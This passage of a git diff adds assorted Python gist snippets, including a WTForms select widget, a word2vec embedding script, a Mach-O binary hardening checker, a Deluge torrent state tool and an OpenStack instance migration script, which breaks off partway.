+class SelectWidget(BaseSelectWidget):
+    """
+    Add support of choices with ``optgroup`` to the ``Select`` widget.
+    """
+    @classmethod
+    def render_option(cls, value, label, mixed):
+        """
+        Render option as HTML tag, but not forget to wrap options into
+        ``optgroup`` tag if ``label`` var is ``list`` or ``tuple``.
+        """
+        if isinstance(label, (list, tuple)):
+            children = []
+
+            for item_value, item_label in label:
+                item_html = cls.render_option(item_value, item_label, mixed)
+                children.append(item_html)
+
+            html = u'<optgroup label="%s">%s</optgroup>'
+            data = (escape(unicode(value)), u'\n'.join(children))
+        else:
+            coerce_func, data = mixed
+            selected = coerce_func(value) == data
+
+            options = {'value': value}
+
+            if selected:
+                options['selected'] = u'selected'
+
+            html = u'<option %s>%s</option>'
+            data = (html_params(**options), escape(unicode(label)))
+
+        return HTMLString(html % data)
+
+
+class SelectField(BaseSelectField):
+    """
+    Add support of ``optgorup``'s' to default WTForms' ``SelectField`` class.
+
+    So, next choices would be supported as well::
+
+        (
+            ('Fruits', (
+                ('apple', 'Apple'),
+                ('peach', 'Peach'),
+                ('pear', 'Pear')
+            )),
+            ('Vegetables', (
+                ('cucumber', 'Cucumber'),
+                ('potato', 'Potato'),
+                ('tomato', 'Tomato'),
+            ))
+        )
+
+    """
+    widget = SelectWidget()
+
+    def iter_choices(self):
+        """
+        We should update how choices are iter to make sure that value from
+        internal list or tuple should be selected.
+        """
+        for value, label in self.choices:
+            yield (value, label, (self.coerce, self.data))
+
+    def pre_validate(self, form, choices=None):
+        """
+        Don't forget to validate also values from embedded lists.
+        """
+        default_choices = choices is None
+        choices = choices or self.choices
+
+        for value, label in choices:
+            found = False
+
+            if isinstance(label, (list, tuple)):
+                found = self.pre_validate(form, label)
+
+            if found or value == self.data:
+                return True
+
+        if not default_choices:
+            return False
+
+        raise ValidationError(self.gettext(u'Not a valid choice'))
diff --git a/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/._snippet.py b/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/._snippet.py differ
diff --git a/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/snippet.py b/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/snippet.py
new file mode 100644
index 00000000..933229cf
--- /dev/null
+++ b/hard-gists/15b3c2a2e9bc7a3c345138a32e029969/snippet.py
@@ -0,0 +1,107 @@
+from __future__ import print_function
+
+import json
+import os
+import numpy as np
+
+from gensim.models import Word2Vec
+from gensim.utils import simple_preprocess
+from keras.engine import Input
+from keras.layers import Embedding, merge
+from keras.models import Model
+
+# tokenizer: can change this as needed
+tokenize = lambda x: simple_preprocess(x)
+
+
+def create_embeddings(data_dir,
+                      embeddings_path='embeddings.npz',
+                      vocab_path='map.json',
+                      **params):
+    """
+    Generate embeddings from a batch of text
+    :param embeddings_path: where to save the embeddings
+    :param vocab_path: where to save the word-index map
+    """
+
+    class SentenceGenerator(object):
+        def __init__(self, dirname):
+            self.dirname = dirname
+
+        def __iter__(self):
+            for fname in os.listdir(self.dirname):
+                for line in open(os.path.join(self.dirname, fname)):
+                    yield tokenize(line)
+
+    sentences = SentenceGenerator(data_dir)
+
+    model = Word2Vec(sentences, **params)
+    weights = model.syn0
+    np.save(open(embeddings_path, 'wb'), weights)
+
+    vocab = dict([(k, v.index) for k, v in model.vocab.items()])
+    with open(vocab_path, 'w') as f:
+        f.write(json.dumps(vocab))
+
+
+def load_vocab(vocab_path='map.json'):
+    """
+    Load word -> index and index -> word mappings
+    :param vocab_path: where the word-index map is saved
+    :return: word2idx, idx2word
+    """
+
+    with open(vocab_path, 'r') as f:
+        data = json.loads(f.read())
+    word2idx = data
+    idx2word = dict([(v, k) for k, v in data.items()])
+    return word2idx, idx2word
+
+
+def word2vec_embedding_layer(embeddings_path='embeddings.npz'):
+    """
+    Generate an embedding layer word2vec embeddings
+    :param embeddings_path: where the embeddings are saved (as a numpy file)
+    :return: the generated embedding layer
+    """
+    
+    weights = np.load(open(embeddings_path, 'rb'))
+    layer = Embedding(input_dim=weights.shape[0],
+                      output_dim=weights.shape[1],
+                      weights=[weights])
+    return layer
+
+if __name__ == '__main__':
+    # specify embeddings in this environment variable
+    data_path = os.environ['EMBEDDINGS_TEXT_PATH']
+
+    # variable arguments are passed to gensim's word2vec model
+    create_embeddings(data_path, size=100, min_count=5,
+                      window=5, sg=1, iter=25)
+
+    word2idx, idx2word = load_vocab()
+
+    # cosine similarity model
+    input_a = Input(shape=(1,), dtype='int32', name='input_a')
+    input_b = Input(shape=(1,), dtype='int32', name='input_b')
+    embeddings = word2vec_embedding_layer()
+    embedding_a = embeddings(input_a)
+    embedding_b = embeddings(input_b)
+    similarity = merge([embedding_a, embedding_b],
+                       mode='cos', dot_axes=2)
+
+    model = Model(input=[input_a, input_b], output=[similarity])
+    model.compile(optimizer='sgd', loss='mse')
+    
+    while True:
+        word_a = raw_input('First word: ')
+        if word_a not in word2idx:
+            print('Word "%s" is not in the index' % word_a)
+            continue
+        word_b = raw_input('Second word: ')
+        if word_b not in word2idx:
+            print('Word "%s" is not in the index' % word_b)
+            continue
+        output = model.predict([np.asarray([word2idx[word_a]]),
+                                np.asarray([word2idx[word_b]])])
+        print(output)
diff --git a/hard-gists/15f0772db25343be0bb7072f15992a4e/._snippet.py b/hard-gists/15f0772db25343be0bb7072f15992a4e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/15f0772db25343be0bb7072f15992a4e/._snippet.py differ
diff --git a/hard-gists/15f0772db25343be0bb7072f15992a4e/snippet.py b/hard-gists/15f0772db25343be0bb7072f15992a4e/snippet.py
new file mode 100644
index 00000000..b8b8a14d
--- /dev/null
+++ b/hard-gists/15f0772db25343be0bb7072f15992a4e/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python3
+import struct
+import lief
+from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS
+
+
+def check(filename):
+  macho = lief.parse(filename)
+
+  # check this?
+  # nx = HEADER_FLAGS.ALLOW_STACK_EXECUTION not in macho.header.flags
+
+  # PIE
+  pie_enabled = HEADER_FLAGS.PIE in macho.header.flags
+
+  # restrict segment for anti-debugging
+  # ptrace looks hard to detect by pure static analytics
+  restricted_segment = False
+  for segment in macho.segments:
+    if segment.name.lower() == '__restrict':
+      restricted_segment = True
+      break
+
+  imported = macho.imported_functions
+
+  # stack canary
+  canary_enabled = '___stack_chk_fail' in imported and '___stack_chk_guard' in imported
+  
+  # ARC
+  arc_enabled = '_objc_release' in imported
+
+  # encrypted
+  cryptid = 0
+  for cmd in macho.commands:
+    if cmd.command == LOAD_COMMAND_TYPES.ENCRYPTION_INFO:
+      buf = bytearray(cmd.data)
+      cmd, cmdsize, cryptoff, cryptsize, cryptid = struct.unpack('<IIIII', buf)
+      break
+
+    elif cmd.command == LOAD_COMMAND_TYPES.ENCRYPTION_INFO_64:
+      buf = bytearray(cmd.data)
+      cmd, cmdsize, cryptoff, cryptsize, cryptid, pad = struct.unpack('<IIIIII', buf)
+      break
+
+  encrypted = bool(cryptid)
+
+  result = {
+    'RESTRICT': restricted_segment,
+    'CANARY': canary_enabled,
+    'PIE': pie_enabled,
+    'ARC': arc_enabled,
+    'ENCRYPTED': encrypted,
+  }
+
+  for item in result.items():
+    print('%s: %s' % item)
+
+
+if __name__ == '__main__':
+  import sys
+  try:
+    path = sys.argv[1]
+    check(path)
+  except KeyError:
+    print('usage: check.py EXECUTABLE')
diff --git a/hard-gists/1600408/._snippet.py b/hard-gists/1600408/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1600408/._snippet.py differ
diff --git a/hard-gists/1600408/snippet.py b/hard-gists/1600408/snippet.py
new file mode 100644
index 00000000..d0c31cc8
--- /dev/null
+++ b/hard-gists/1600408/snippet.py
@@ -0,0 +1,13 @@
+from zope.testbrowser.browser import Browser
+
+def _zope_testbrowser_pyquery(self):
+    from pyquery import PyQuery
+    return PyQuery(self.contents)
+
+Browser.pyquery = property(_zope_testbrowser_pyquery)
+
+# This will allow you to do in your tests:
+# >>> "Home" in browser.pyquery('#navigation').text()
+
+# pyquery docs: http://packages.python.org/pyquery/
+# zope.testbrowser docs: http://pypi.python.org/pypi/zope.testbrowser
\ No newline at end of file
diff --git a/hard-gists/1608287/._snippet.py b/hard-gists/1608287/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1608287/._snippet.py differ
diff --git a/hard-gists/1608287/snippet.py b/hard-gists/1608287/snippet.py
new file mode 100644
index 00000000..b740da81
--- /dev/null
+++ b/hard-gists/1608287/snippet.py
@@ -0,0 +1,33 @@
+import sublime, sublime_plugin, os, re
+
+class FileNameComplete(sublime_plugin.EventListener):
+
+    def on_query_completions(self, view, prefix, locations):
+        completions = []
+        sel = view.sel()[0].a
+
+        if "string" in view.syntax_name(sel):
+            pass
+        elif "./" in view.substr(sublime.Region(sel-3,sel)):
+            pass
+        else:
+            return []
+
+        this_file = view.file_name()
+        dir_len = this_file.rfind('/') #(for OSX)
+
+        if not dir_len > 0:
+            dir_len = this_file.rfind('\\') #(for Windows)
+        
+        this_dir = this_file[:(dir_len + 1)] # + 1 for the '/'
+        this_dir += view.substr(view.extract_scope(sel-1)).replace('\"','') # strings are quoted
+
+        print this_dir
+
+        dir_files = os.listdir(this_dir)
+        for d in dir_files:
+            if not '.' in d:
+                d += '/'
+            completions.append(d)
+
+        return [(x, x) for x in list(set(completions))]
\ No newline at end of file
diff --git a/hard-gists/160c990c61c5f527445c/._snippet.py b/hard-gists/160c990c61c5f527445c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/160c990c61c5f527445c/._snippet.py differ
diff --git a/hard-gists/160c990c61c5f527445c/snippet.py b/hard-gists/160c990c61c5f527445c/snippet.py
new file mode 100644
index 00000000..035ce474
--- /dev/null
+++ b/hard-gists/160c990c61c5f527445c/snippet.py
@@ -0,0 +1,46 @@
+#!/bin/env python3
+from pocket import Pocket
+consumer_key = "123-2343-4234-32-4-3-4"
+'''
+redirect_uri = "http://example.com/"
+request_token = Pocket.get_request_token(consumer_key=consumer_key, redirect_uri=redirect_uri)
+
+# URL to redirect user to, to authorize your app
+auth_url = Pocket.get_auth_url(code=request_token, redirect_uri=redirect_uri)
+input(auth_url)
+
+user_credentials = Pocket.get_credentials(consumer_key=consumer_key, code=request_token)
+
+access_token = user_credentials['access_token']
+
+print(access_token);
+'''
+access_token="23432-4324321432-4-2134-324"
+pocket = Pocket(consumer_key, access_token)
+
+lasturl = "http://www.economist.com/news/asia/21678115-display-amity-points-tougher-times-ahead-leaders-taiwan-and-china-hold-historic";
+while True:
+    stack = [];
+    import itertools
+    for i in itertools.count(0):
+        from urllib.request import urlopen, Request
+        from bs4 import BeautifulSoup
+        request = Request("http://www.economist.com/latest-updates?page=" + str(i), headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0}"})
+        bs = BeautifulSoup(urlopen(request))
+
+        for article in bs.find_all("article"):
+            from urllib.parse import urljoin
+            url = urljoin(request.full_url, article.a['href'])
+            if url == lasturl:
+                break;
+            stack.append(url)
+        if url == lasturl:
+            break;
+    for url in reversed(stack):
+        print(url)
+        pocket.add(url, wait=False)
+    if len(stack) > 0:
+        lasturl = stack[-1]
+    from time import sleep
+    sleep(300)
+
diff --git a/hard-gists/1610922/._snippet.py b/hard-gists/1610922/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1610922/._snippet.py differ
diff --git a/hard-gists/1610922/snippet.py b/hard-gists/1610922/snippet.py
new file mode 100644
index 00000000..83a85cab
--- /dev/null
+++ b/hard-gists/1610922/snippet.py
@@ -0,0 +1,44 @@
+"""Example of adaptive Lasso to produce event sparser solutions
+
+Adaptive lasso consists in computing many Lasso with feature
+reweighting. It's also known as iterated L1.
+"""
+# Authors: Alexandre Gramfort <firstname.lastname@inria.fr>
+#
+# License: BSD (3-clause)
+
+import numpy as np
+from sklearn.datasets import make_regression
+from sklearn.linear_model import Lasso
+
+X, y, coef = make_regression(n_samples=306, n_features=8000, n_informative=50,
+                    noise=0.1, shuffle=True, coef=True, random_state=42)
+
+X /= np.sum(X ** 2, axis=0)  # scale features
+
+alpha = 0.1
+
+g = lambda w: np.sqrt(np.abs(w))
+gprime = lambda w: 1. / (2. * np.sqrt(np.abs(w)) + np.finfo(float).eps)
+
+# Or another option:
+# ll = 0.01
+# g = lambda w: np.log(ll + np.abs(w))
+# gprime = lambda w: 1. / (ll + np.abs(w))
+
+n_samples, n_features = X.shape
+p_obj = lambda w: 1. / (2 * n_samples) * np.sum((y - np.dot(X, w)) ** 2) \
+                  + alpha * np.sum(g(w))
+
+weights = np.ones(n_features)
+n_lasso_iterations = 5
+
+for k in range(n_lasso_iterations):
+    X_w = X / weights[np.newaxis, :]
+    clf = Lasso(alpha=alpha, fit_intercept=False)
+    clf.fit(X_w, y)
+    coef_ = clf.coef_ / weights
+    weights = gprime(coef_)
+    print p_obj(coef_)  # should go down
+
+print np.mean((clf.coef_ != 0.0) == (coef != 0.0))
diff --git a/hard-gists/1628838/._snippet.py b/hard-gists/1628838/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1628838/._snippet.py differ
diff --git a/hard-gists/1628838/snippet.py b/hard-gists/1628838/snippet.py
new file mode 100644
index 00000000..dd0ee6a9
--- /dev/null
+++ b/hard-gists/1628838/snippet.py
@@ -0,0 +1,32 @@
+# Feel free to use me. I'm public domain!
+from django.conf import settings
+from django import template
+
+
+register = template.Library()
+
+
+class OnlySomethingNode(template.Node):
+    def __init__(self, nodelist, value='LIVE'):
+        self.nodelist = nodelist
+        self.value = value
+
+    def render(self, context):
+        if getattr(settings, 'DEPLOY_ENVIRONMENT', 'DEV') == self.value:
+            return self.nodelist.render(context)
+
+        return ''
+
+
+@register.tag
+def onlylive(parser, token):
+    nodelist = parser.parse(('endonlylive',))
+    parser.delete_first_token()
+    return OnlySomethingNode(nodelist, 'LIVE')
+
+
+@register.tag
+def onlydev(parser, token):
+    nodelist = parser.parse(('endonlydev',))
+    parser.delete_first_token()
+    return OnlySomethingNode(nodelist, 'DEV')
\ No newline at end of file
diff --git a/hard-gists/1638546/._snippet.py b/hard-gists/1638546/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1638546/._snippet.py differ
diff --git a/hard-gists/1638546/snippet.py b/hard-gists/1638546/snippet.py
new file mode 100644
index 00000000..bd7aff5c
--- /dev/null
+++ b/hard-gists/1638546/snippet.py
@@ -0,0 +1,113 @@
+#!/usr/bin/python
+""" FusionRunner
+
+Queries Google Fusion Tables for MyTracks data.
+"""
+__author__ = 'hardware.hank@gmail.com (Erik Gregg)'
+### IMPORTS ###
+import sys 
+sys.path.append("./fusion-tables-client-python-read-only/src/")
+sys.path.append("./httplib2/python2")
+import getpass, httplib2, urllib, re, string
+from datetime import datetime, timedelta
+from authorization.oauth import OAuth
+from sql.sqlbuilder import SQL
+import ftclient
+import pprint
+pp = pprint.PrettyPrinter(indent=4)
+from xml.etree import ElementTree
+
+### Fusion Tables Authentication ###
+print "Authenticating with Google...",
+consumer_key = "207320244638.apps.googleusercontent.com"
+try:
+  with open('secret', 'r') as f:
+    consumer_secret = f.readline().rstrip()
+except IOError:
+  print "No consumer secret."
+  sys.exit(-1)
+
+try:
+  with open('oauth_cached_data', 'r') as f:
+    token, secret = [x.rstrip() for x in f.readlines()]
+except IOError:
+  print "No cached OAuth data.  Initiating new request..."
+  url, token, secret = OAuth().generateAuthorizationURL(consumer_key, consumer_secret, consumer_key)
+  print "Visit this URL in a browser: "
+  print url
+  raw_input("Hit enter after authorization")
+  token, secret = OAuth().authorize(consumer_key, consumer_secret, token, secret)
+  with open('oauth_cached_data', 'w') as f:
+    f.write(token + "\n" + secret)
+
+oauth_client = ftclient.OAuthFTClient(consumer_key, consumer_secret, token, secret)
+print "Success"
+
+### Smashrun Authentication ### 
+# Using some awesome login action and this handy JSON endpoint:
+# http://smashrun.com/services/running-jsonservice.asmx
+try:
+  with open('smashrun_secret', 'r') as f:
+      smashrun_secret = f.readline().rstrip()
+except IOError:
+  print "No Smashrun secret - can't authenticate.  Make a smashrun_secret file with your password."
+  sys.exit(-1)
+
+print "Authenticating with Smashrun...",
+smashrun_url = "http://smashrun.com/services/user-jsonservice.asmx/LoginUser"
+smashrun_body = '{"loginEmail":"smashrun.hardwarehank@ralree.com","loginPassword":"%s"}' % (smashrun_secret)
+smashrun_headers = {
+            'Content-Type': 'application/json; charset=UTF-8',
+            'Referer': 'http://smashrun.com/login',
+          }
+smashrun_http = httplib2.Http()
+smashrun_response, smashrun_content = smashrun_http.request(smashrun_url, 'POST', 
+                                                   headers=smashrun_headers, body=smashrun_body)
+smashrun_headers['Cookie'] = smashrun_response['set-cookie']
+del smashrun_headers['Referer']
+print "Success"
+
+### Fusion Tables queries ###
+fusion_results = [ x.split(",") for x in oauth_client.query(SQL().showTables()).split("\n")[1:-1] ]
+
+for table in fusion_results:
+  rows = oauth_client.query(SQL().select(int(table[0]), ['description'], "name LIKE '%(End)'"))
+  desc = rows.split("\n")[1]
+  # Grab fusion table fields with regex.
+  strdate = re.search(r'Recorded: (.*?)<br>', desc).group(1)
+  start_date_time = datetime.strptime(strdate, "%m/%d/%y %I:%M %p").isoformat()
+
+  distance_km = re.search(r'Total distance: (.*?) km', desc).group(1)
+
+  total_time = re.search(r'Total time: (.*?)<br>', desc).group(1)
+  m = re.match(r'(\d+):(\d+):(\d+)|(\d+):(\d+)', total_time) 
+  groups = [x for x in m.groups() if x != None]
+  if len(groups) == 2:
+    total_time = timedelta(minutes=int(groups[0]), seconds=int(groups[1]))
+  else:
+    total_time = timedelta(hours=int(groups[0]), minutes=int(groups[1]), seconds=int(groups[2]))
+  total_time = int(total_time.total_seconds() * 1000)
+
+  activity = re.search(r'Activity type: (\w+)', desc).group(1)
+  if activity == 'walking':
+    activity = 'Walk'
+    tagid = 2
+  if activity == 'race':
+    activity = 'Race'
+    tagid = 2
+
+  # Save the run
+  print "Adding Run from %s..." % (start_date_time)
+  smashrun_url = "http://smashrun.com/services/running-jsonservice.asmx/SaveRunListItem"
+  smashrun_body = '{"runListItem": { "distance":"%s", "bookedUnitCode":"k", "viewunitcode":"m", "startDateTime":"%s", "duration":%d, "runId":null }}' % (distance_km, start_date_time, total_time)
+  smashrun_response, smashrun_content = smashrun_http.request(smashrun_url, 'POST', 
+                                                              headers=smashrun_headers, body=smashrun_body)
+  print "Add Run Response Code: %s" % (smashrun_response['status'])
+
+  match = re.search(r'"runId":(\d+)', smashrun_content)
+  runid = int(match.group(1))
+  smashrun_url = "http://smashrun.com/services/running-jsonservice.asmx/SaveRunTag"
+  smashrun_body = '{"runId":%d,"tagId":%d,"text":"%s",untag:false}' % (runid, tagid, activity)
+  smashrun_response, smashrun_content = smashrun_http.request(smashrun_url, 'POST', 
+                                                              headers=smashrun_headers, body=smashrun_body)
+  print "Tagging Response Code: %s" % (smashrun_response['status'])
\ No newline at end of file
diff --git a/hard-gists/1638695/._snippet.py b/hard-gists/1638695/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1638695/._snippet.py differ
diff --git a/hard-gists/1638695/snippet.py b/hard-gists/1638695/snippet.py
new file mode 100644
index 00000000..de1f3e67
--- /dev/null
+++ b/hard-gists/1638695/snippet.py
@@ -0,0 +1,24 @@
+from urlparse import urlsplit, urlunsplit
+
+from storages.backends.s3boto import S3BotoStorage
+from staticfiles.storage import CachedFilesMixin
+
+class ProtocolRelativeS3BotoStorage(S3BotoStorage):
+    """Extends S3BotoStorage to return protocol-relative URLs
+
+    See: http://paulirish.com/2010/the-protocol-relative-url/
+    """
+    def url(self, name):
+        """Modifies return URLs to be protocol-relative."""
+        url = super(ProtocolRelativeS3BotoStorage, self).url(name)
+        parts = list(urlsplit(url))
+        parts[0] = ''
+        return urlunsplit(parts)
+
+class S3HashedFilesStorage(CachedFilesMixin, ProtocolRelativeS3BotoStorage):
+    """
+    Extends S3BotoStorage to also save hashed copies (i.e.
+    with filenames containing the file's MD5 hash) of the
+    files it saves.
+    """
+    pass
diff --git a/hard-gists/1639941/._snippet.py b/hard-gists/1639941/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1639941/._snippet.py differ
diff --git a/hard-gists/1639941/snippet.py b/hard-gists/1639941/snippet.py
new file mode 100644
index 00000000..3a1baa30
--- /dev/null
+++ b/hard-gists/1639941/snippet.py
@@ -0,0 +1,155 @@
+from deluge._libtorrent import lt
+from deluge.core.torrentmanager import TorrentManagerState
+from shutil import copy, _samefile
+import cPickle
+import os
+
+class Transplant(object):
+    def __init__(self, config_dir="", torrent_ids=None, torrents=None):
+        self.state_dir = ""
+        self.torrents = {}
+        if config_dir:
+            config_dir = os.path.expanduser(config_dir)
+            config_dir = os.path.normpath(config_dir)
+            self.state_dir = os.path.join(config_dir, "state")
+            state_file = open(os.path.join(self.state_dir, "torrents.state"), "rb")
+            resume_file = open(os.path.join(self.state_dir, "torrents.fastresume"), "rb")
+            self._update(state_file, resume_file)
+            self._link()
+        if torrent_ids:
+            for torrent_id in torrent_ids:
+                state_file = open(torrent_id+".state", "rb")
+                resume_file = open(torrent_id+".fastresume", "rb")
+                self._update(state_file, resume_file)
+            self._link()
+        if torrents:
+            self.torrents.update(torrents)
+
+    def _update(self, state_file, resume_file):
+        state_data = cPickle.load(state_file)
+        resume_data = lt.bdecode(resume_file.read())
+        state_file.close()
+        resume_file.close()
+        for torrent_state in state_data.torrents:
+            torrent_id = torrent_state.torrent_id
+            self.torrents.setdefault(torrent_id, {})["state"] = torrent_state
+            self.torrents[torrent_id]["resume"] = resume_data.get(torrent_id)
+
+    def _link(self):
+        for torrent_id in self.torrents:
+            filename = os.path.join(self.state_dir, torrent_id+".torrent")
+            if os.path.isfile(filename):
+                self.torrents[torrent_id]["filename"] = filename
+            else:
+                raise IOError, "Missing torrent file: %s" % filename
+
+    def __iter__(self):
+        return iter(self.torrents)
+
+    def __contains__(self, torrent_id):
+        return torrent_id in self.torrents
+
+    def __getitem__(self, torrent_id):
+        return self.torrents[torrent_id]
+
+    def filter(self, torrent_ids=None):
+        if torrent_ids:
+            torrent_ids = set(torrent_ids) & self.torrents.viewkeys()
+        else:
+            torrent_ids = self.torrents.viewkeys()
+        return torrent_ids
+
+    def combine(self, other):
+        self.torrents.update(other.torrents)
+
+    def separate(self, torrent_ids=None):
+        torrents = {torrent_id: self.torrents[torrent_id] for torrent_id in self.filter(torrent_ids)}
+        return Transplant(torrents=torrents)
+
+    def rebase(self, save_path=None, completed_path=None):
+        for torrent_id in self.torrents:
+            if save_path:
+                self.torrents[torrent_id]["state"].save_path = save_path
+            if completed_path:
+                self.torrents[torrent_id]["state"].move_completed_path = completed_path
+
+    def save(self):
+        if self.state_dir:
+            state_filename = os.path.join(self.state_dir, "torrents.state")
+            resume_filename = os.path.join(self.state_dir, "torrents.fastresume")
+            self.__write(self.torrents.keys(), state_filename, resume_filename)
+        else:
+            for torrent_id in self.torrents:
+                state_filename = torrent_id+".state"
+                resume_filename = torrent_id+".fastresume"
+                self.__write([torrent_id], state_filename, resume_filename)
+        for torrent_id in self.torrents:
+            new_filename = os.path.join(self.state_dir, torrent_id+".torrent")
+            if not _samefile(self.torrents[torrent_id]["filename"], new_filename):
+                copy(self.torrents[torrent_id]["filename"], new_filename)
+
+    def __write(self, torrent_ids, state_filename, resume_filename):
+        state_file = open(state_filename+".new", "wb")
+        resume_file = open(resume_filename+".new", "wb")
+        state_data = TorrentManagerState()
+        state_data.torrents = [self.torrents[torrent_id]["state"] for torrent_id in torrent_ids]
+        resume_data = {torrent_id: self.torrents[torrent_id]["resume"] for torrent_id in torrent_ids}
+        cPickle.dump(state_data, state_file, cPickle.HIGHEST_PROTOCOL)
+        resume_file.write(lt.bencode(resume_data))
+        state_file.flush()
+        resume_file.flush()
+        os.fsync(state_file.fileno())
+        os.fsync(resume_file.fileno())
+        state_file.close()
+        resume_file.close()
+        os.rename(state_filename+".new", state_filename)
+        os.rename(resume_filename+".new", resume_filename)
+
+if __name__ == "__main__":
+    import argparse
+
+    def list_cmd(args):
+        t = Transplant(args.config)
+        print "Available torrents:"
+        for torrent_id in t.filter(args.torrent_ids):
+            print "%s - %s" % (torrent_id, t[torrent_id]["state"].filename)
+
+    def import_cmd(args):
+        t1 = Transplant(args.config)
+        t2 = Transplant(torrent_ids=args.torrent_ids)
+        if args.save_path or args.completed_path:
+            t2.rebase(args.save_path, args.completed_path)
+        t1.combine(t2)
+        t1.save()
+        print "Successfully imported:"
+        for torrent_id in t2:
+            print "%s - %s" % (torrent_id, t1[torrent_id]["state"].filename)
+
+    def export_cmd(args):
+        t1 = Transplant(args.config)
+        t2 = t1.separate(args.torrent_ids)
+        if args.save_path or args.completed_path:
+            t2.rebase(args.save_path, args.completed_path)
+        t2.save()
+        print "Successfully exported:"
+        for torrent_id in t2:
+            print "%s - %s" % (torrent_id, t2[torrent_id]["state"].filename)
+
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-c", "--config", default="~/.config/deluge")
+    subparsers = parser.add_subparsers(title="commands", description="available commands")
+    parser_list = subparsers.add_parser("list")
+    parser_list.set_defaults(cmd=list_cmd)
+    parser_list.add_argument("torrent_ids", nargs='*')
+    parser_import = subparsers.add_parser("import")
+    parser_import.set_defaults(cmd=import_cmd)
+    parser_import.add_argument("torrent_ids", nargs='+')
+    parser_import.add_argument("-sp", "--save-path")
+    parser_import.add_argument("-cp", "--completed-path")
+    parser_export = subparsers.add_parser("export")
+    parser_export.set_defaults(cmd=export_cmd)
+    parser_export.add_argument("torrent_ids", nargs='*')
+    parser_export.add_argument("-sp", "--save-path")
+    parser_export.add_argument("-cp", "--completed-path")
+    args = parser.parse_args()
+    args.cmd(args)
\ No newline at end of file
diff --git a/hard-gists/163f5fdf47ab45d7addd/._snippet.py b/hard-gists/163f5fdf47ab45d7addd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/163f5fdf47ab45d7addd/._snippet.py differ
diff --git a/hard-gists/163f5fdf47ab45d7addd/snippet.py b/hard-gists/163f5fdf47ab45d7addd/snippet.py
new file mode 100644
index 00000000..d0b38762
--- /dev/null
+++ b/hard-gists/163f5fdf47ab45d7addd/snippet.py
@@ -0,0 +1,255 @@
+#!/usr/bin/env python
+
+import argparse
+from collections import defaultdict
+import os
+import sys
+import time
+
+from novaclient import client
+from novaclient import exceptions
+
+# States which we can migrate
+STATES_MIGRATABLE = set(['ACTIVE', 'SHUTOFF'])
+
+# States which indicate a migration is in progress
+STATES_MIGRATING = set(['MIGRATING', 'RESIZE'])
+
+# States which should go away if we wait
+STATES_EPHEMERAL = set(['REBOOT', 'HARD_REBOOT', 'REBUILD', 'REVERT_RESIZE'])
+
+
+class MissingClientOpt(Exception):
+    pass
+
+
+class InvalidHost(Exception):
+    pass
+
+
+class InstancesRemaining(Exception):
+    def __init__(self, instances):
+        self.instances = instances
+        super(InstancesRemaining, self).__init__()
+
+
+def _get_client():
+    opts = {
+        'username': 'OS_USERNAME',
+        'api_key': 'OS_PASSWORD',
+        'project_id': 'OS_TENANT_NAME',
+        'auth_url': 'OS_AUTH_URL',
+    }
+
+    vals = {}
+    for opt, env in opts.iteritems():
+        vals[opt] = val = os.environ.get(env)
+        if val is None:
+            raise MissingClientOpt('environment variable %s not set' % env)
+
+    return client.Client('2', **vals)
+
+
+def _migrate_single(instance, force_cold):
+    if not force_cold[instance.id] and instance.status == 'ACTIVE':
+        try:
+            instance.live_migrate()
+        except exceptions.BadRequest as ex:
+            # We have no robust way of knowing what this exception is beyond a
+            # 400, so we're just going to guess that it failed because of
+            # shared storage and try again with block_migration set. This
+            # potentially hides a real error, but we don't have any way to tell
+            # when we have a real error.
+            instance.live_migrate(block_migration=True)
+        return False
+    elif force_cold[instance.id] or instance.status == 'SHUTOFF':
+        instance.migrate()
+        return True
+
+
+def _migrate_multiple(instances, max_migrations, cold_fallback,
+                      attempts, force_cold, verify):
+    busy = set()
+    migrating = set()
+    for instance in instances:
+        # Instance is already migrating
+        if instance.status in STATES_MIGRATING:
+            migrating.add(instance)
+            continue
+
+        # Instance is busy with something, and we should wait
+        if instance.status in STATES_EPHEMERAL:
+            busy.add(instance)
+            continue
+
+        # If we've tried 3 times to live migrate a guest and the user has
+        # specified cold fallback, shut the guest down and try a cold migration
+        if (cold_fallback and attempts[instance.id] == 3 and
+                instance.status == 'ACTIVE' and not force_cold[instance.id]):
+            print ('WARNING: falling back to cold migration of %s' %
+                   _pretty_instance(instance))
+            force_cold[instance.id] = True
+            attempts[instance.id] = 0
+
+        # For safety, we don't attempt to do anything with an instance which is
+        # in a state we don't explicitly handle. Note that we can't safely
+        # handle PAUSED, SUSPENDED, and RESCUED in any case, as migration
+        # requires moving the instance out of this state, and we don't have the
+        # context to do that safely.
+        elif (instance.status not in STATES_MIGRATABLE or
+                attempts[instance.id] == 3):
+            continue
+
+        if len(migrating) < max_migrations:
+            migrating.add(instance)
+            attempts[instance.id] += 1
+            try:
+                resize = _migrate_single(instance, force_cold)
+            except Exception as ex:
+                # Almost everything is a 'BadRequest'. This covers such a wide
+                # variety of errors, some of them ephemeral, that we just retry
+                # here regardless
+                continue
+
+            if resize:
+                verify.add(instance.id)
+
+    return migrating, busy
+
+
+def _pretty_instance(instance):
+    return '%s(%s)' % (instance.name, instance.id)
+
+
